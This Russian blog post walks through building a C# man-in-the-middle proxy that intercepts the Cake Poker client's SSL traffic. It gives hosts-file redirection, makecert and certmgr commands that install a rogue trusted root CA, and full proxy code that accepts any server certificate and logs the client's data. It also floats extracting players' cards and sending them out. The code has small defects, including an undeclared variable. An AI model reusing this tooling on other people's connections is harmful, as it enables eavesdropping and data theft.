Помаявшись с тонной софта, предназначенного для реализации MitM на SSL соединение, я пришел к выводу, что руки растут не из того места либо у разработчиков данных инструментов, либо у меня. Но идея была жутко навязчивая, и было принято решение сделать всё вручную. Если интересно, что же из всего этого вышло, прошу под кат.
Данная статья просвещена написанию простого инструмента для реализации MitM-атаки. Те, кто не знакомы с тем, что такое MitM, могут почитать об этом тут.
Цель
В качестве подопытного был выбран клиент Cake Poker по причине моего длительного знакомства с ним. Началось все с того, что я просто запустил покерный клиент и полез в старый добрый менеджер ресурсов, в котором нашел с десяток подключений от него.
Поэкспериментировав, я смог выделить соединение, которое держится всегда. Его я и взял на прицел для проведение MitM атаки.
Источник соединения известен, конечная цель известна — lb6.playdata.co.uk.
Перенаправление трафика
Теперь необходимо было вклиниться между клиентом и сервером. Нечего особо хитрого изобретать не стал, ибо незачем — просто добавил в host доменные имена, соотнесённые с 127.0.0.1. Не сложно догадаться, что если есть lb6.playdata.co.uk, то есть и lb1.playdata.co.uk, и lb8.playdata.co.uk. С ними поступил аналогично, занеся в host, т.к. конечные инстансы, как я понял, выбираются по расположению звёзд. При запуске покерного клиента он повисает в ожидании подключения. Замечательно. Это означает что трафик был перенаправлен на нашу машинку. Идём дальше.
Прокси
Следующей задачей было написание прокси на C#. Да-да, простой прокси, для заготовки будущей программы. Чтобы не заниматься изобретением велосипеда, я по-быстрому нагуглил подходящее для меня решение: TCP Proxy in C# using Task Parallel Library.
Немного его отрефакторил (ненавижу, когда много вложенности), захардкодил конечную точку подключения и запустил. Запускаю покерного клиента — всё работает. В диспетчере ресурсов можем видеть, что трафик от покерного клиента идёт к моему прокси, а от него на сервер и обратно.
MitM на SSL
Далее нам предстоит реализовать MitM-атаку на SSL. Разделим её на два этапа: первый — соединение клиента с прокси; второй — прокси с сервером.
Для реализации первого этапа, когда клиент подключится к прокси, мы не будем отправлять пришедшие данные дальше, а начнём, так называемую, процедуру рукопожатия. На C# это можно сделать с помощью экземпляра класса SslStream, построенного поверх уже созданного NetworkStream. В момент создания передаётся информация о протоколе и прочая специфическая информация.
После этого, передаём клиенту свой сертификат. Это делается с помощью метода AuthenticateAsServer класса SslStream, куда мы должны передать путь до файла сертификата.
Файл x509 сертификата был сгенерирована с помощью утилиты Makecert, которую можно вызвать из девелоперской консоли Visual Studio. Пришлось немного помучиться с параметрами, но всё получилось. Вот неплохое описание того, как ей можно пользоваться: SSL communication in C#. В качестве имени укажем *.playdata.co.uk. Это имя покрывает все домены, которые используются покерным клиентом.
makecert -n CN=MyCA -cy authority -a sha1 -sv “MyCA.pvk” -r “MyCA.cer” //Создаём сертификат ЦА
certmgr -add -all -c “MyCA.cer” -s -r LocalMachine Root //Добавляем в довереные коневые центры сертификаты
makecert -n CN=*.playdata.co.uk -ic MyCA.cer -iv MyCA.pvk -a sha1 -sky exchange -pe -sr currentuser -ss my SslServer.cer
//Создаём серверный сертификат
Мы сгенерировали серверный закрытый ключ и ключ УЦ (удостоверительного центра), которым подписан наш ключ. Ключ УЦ помещаем в «Доверенные корневые центры сертификации», и вуаля! Если посмотреть на наш серверный ключик средствами просмотра ключей Windows, то мы увидим, что система считает его валидным, как и покерный клиент, который запущен в нашей системе.
Путь до полученого сертификата мы передаём в метод AuthenticateAsServer. Если всё прошло хорошо, то у нас получится SSL соединение от клиента до прокси, в которое клиент будет посылать данные. Теперь необходимо давать клиенту адекватные ответы на его запросы. Для этого нам потребуется реализовать второй этап MitM-атаки, а именно построить SSL соединение от прокси до сервера. Так же строим SslStream поверх NetworkStream до сервера и авторизовываемся с помощью метода AuthenticateAsClient. Данные, приходящие из SSL соединения клиента и сервера отправляем друг другу.
var certificate = new X509Certificate("SslServer.cer", "123");
var clientStream = new SslStream(client.GetStream(), false);
clientStream.AuthenticateAsServer(certificate, false, System.Security.Authentication.SslProtocols.Default, false);
var server = new TcpClient("200.26.205.63", 4520);
var serverSslStream = new SslStream(server.GetStream(), false, SslValidationCallback, null);
serverSslStream.AuthenticateAsClient("lb3.playdata.co.uk");
Через некоторое время работы можно будет заметить в менеджере ресурсов расхождение количества отправленных байт на прокси и от него. Это обусловлено тем, что при шифровании разные ключи дают разный по размеру результат.
Заключение
Что же дальше? А дальше мы добавим код для сохранения данных в текстовый файл, чтобы их можно было проанализировать то, что передаёт покерный клиент серверу. Собственно, всё, MitM Proxy написан.
Осталось добавить в него немного блекджека. Например, для разбора идущего через него трафика, выдирания карт пользователя и отправки нам и т. д…
Я написал разборщик трафика на лету, что бы можно было удобно мониторить, что отправляет клиент, и соотносить это с моими действиями. Демонстрация того, что получилось у меня:
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Threading.Tasks;
using ConnectionAnalizer;
namespace MITMProxy
{
class Program
{
static readonly TcpListener Listener = new TcpListener(IPAddress.Any, 4520);
const int BufferSize = 4096;
static void Main()
{
Listener.Start();
new Task(() =>
{
while (true)
{
var client = Listener.AcceptTcpClient();
new Task(() => AcceptConnection(client)).Start();
}
}).Start();
Debug.WriteLine("Server listening on port 4502. Press enter to exit.");
Console.ReadLine();
Listener.Stop();
}
private static void AcceptConnection(TcpClient client)
{
try
{
var certificate = new X509Certificate("SslServer.cer", "123");
var clientStream = new SslStream(client.GetStream(), false);
clientStream.AuthenticateAsServer(certificate, false, System.Security.Authentication.SslProtocols.Default, false);
var server = new TcpClient("200.26.205.63", 4520);
var serverSslStream = new SslStream(server.GetStream(), false, SslValidationCallback, null);
serverSslStream.AuthenticateAsClient("lb3.playdata.co.uk");
new Task(() => ReadFromClient(client, clientStream, serverSslStream)).Start();
new Task(() => ReadFromServer(serverSslStream, clientStream)).Start();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
throw;
}
}
private static bool SslValidationCallback(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslpolicyerrors)
{
return true;
}
private static void ReadFromServer(Stream serverStream, Stream clientStream)
{
var message = new byte[BufferSize];
while (true)
{
int serverBytes;
try
{
serverBytes = serverStream.Read(message, 0, BufferSize);
clientStream.Write(message, 0, serverBytes);
}
catch
{
break;
}
if (serverBytes == 0)
{
break;
}
}
}
private static void ReadFromClient(TcpClient client, Stream clientStream, Stream serverStream)
{
var message = new byte[BufferSize];
var fileInfo = new FileInfo("client");
if (!fileInfo.Exists)
fileInfo.Create().Dispose();
using (var stream = fileInfo.OpenWrite())
{
while (true)
{
int clientBytes;
try
{
clientBytes = clientStream.Read(message, 0, BufferSize);
}
catch
{
break;
}
if (clientBytes == 0)
{
break;
}
serverStream.Write(message, 0, clientBytes);
memoryStream.Write(message, 0, clientBytes);
stream.Write(message, 0, clientBytes);
}
client.Close();
}
}
}
}
This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
Комментариев нет:
Отправить комментарий